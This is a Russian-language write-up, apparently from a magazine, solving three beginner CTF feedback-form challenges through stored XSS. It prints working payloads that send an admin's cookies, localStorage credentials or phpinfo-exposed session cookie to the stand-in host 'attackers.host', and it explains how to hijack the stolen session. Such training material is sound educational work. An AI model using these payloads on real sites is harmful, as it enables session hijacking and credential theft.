Содержание статьи
Задача была простая: мы сделали три формы обратной связи. Каждая из них содержала типовые уязвимости веб-приложений. Взлом каждой в итоге давал участнику строку-флаг. Все задания были довольно простыми и были рассчитаны примерно на неделю.
Хакер #305. Многошаговые SQL-инъекции
Структура каждого таска была следующая:
./feedback.php
— форма обратной связи;./admin/
— форма авторизации в админку;./admin/preview.php
— страница, где отображались сообщения из формы обратной связи, которые периодически читал админ. Доступ к ней требовал авторизации;./admin/flag.php
— страница, на которой отображался флаг, доступ к ней тоже требовал авторизации. Доступ с IP администратора был запрещен.
Первое задание: cookie без http-only
Администратор имел сессионный cookie PHPSESSID
. Флаг http-only
был не установлен, поэтому к значению этого cookie легко можно было получить доступ средствами JavaScript.
XSS-пейлоад для решения:
<script>(new Image()).src = '//attackers.host/sniffer?'+document.cookie;</script>
После того как администратор посетит страницу с сообщениями, он отправит атакующему на сервер свой сессионный cookie. После чего следует установить их себе и посетить страницу ./admin/
.
Если все сделано верно, страница переадресует на ./flag.php
.
Второе задание: пароль в localStorage
Администратор имел сессионный cookie PHPSESSID, флаг http-only
был установлен, через XSS его значение нельзя было получить. Но также у администратора в localStorage хранился логин и пароль для входа в открытом виде.
XSS-пейлоад для решения:
<script>(new Image()).src = '//attackers.host/sniffer?'+JSON.stringify(localStorage)</script>
После того как администратор посетит страницу с сообщениями, он отправит атакующему на сервер содержимое localStorage. После чего стоит ввести полученные логин и пароль в форму авторизации и забрать флаг со страницы ./admin/flag.php
.
Третье задание: phpinfo()
Администратор имел сессионный cookie PHPSESSID
, флаг http-only
был установлен, через XSS его значение нельзя было получить напрямую. В директории с заданием лежал файл phpinfo.php
. Из его названия можно догадаться, что в нем находилось. Интересен этот файл тем, что функция phpinfo();
возвращает множество отладочной информации, в том числе и cookie, неважно, содержат они флаг http-only
или нет.
XSS-пейлоад для решения:
<script>
x = new XMLHttpRequest();
x.open('GET','../phpinfo.php');
x.onload = function(){
(new Image()).src = '//attackers.host/sniffer?'+x.responseText.match(/<tr><td class="e">HTTP_COOKIE </td><td class="v">(.*)</td></tr>/m)[1]
}
x.send();
</script>
Так же как и в первом задании, после того как атакующий получит значение сессионного cookie, его следует установить в своем браузере и посетить страницу ./admin/
или ./admin/flag.php
.
Мы старались сделать задания максимально простыми, но в то же время не банальные алерты или обходы фильтров. С виду ничего сложного, хорошая разминка для новичков.
Надеемся, тебе понравилось!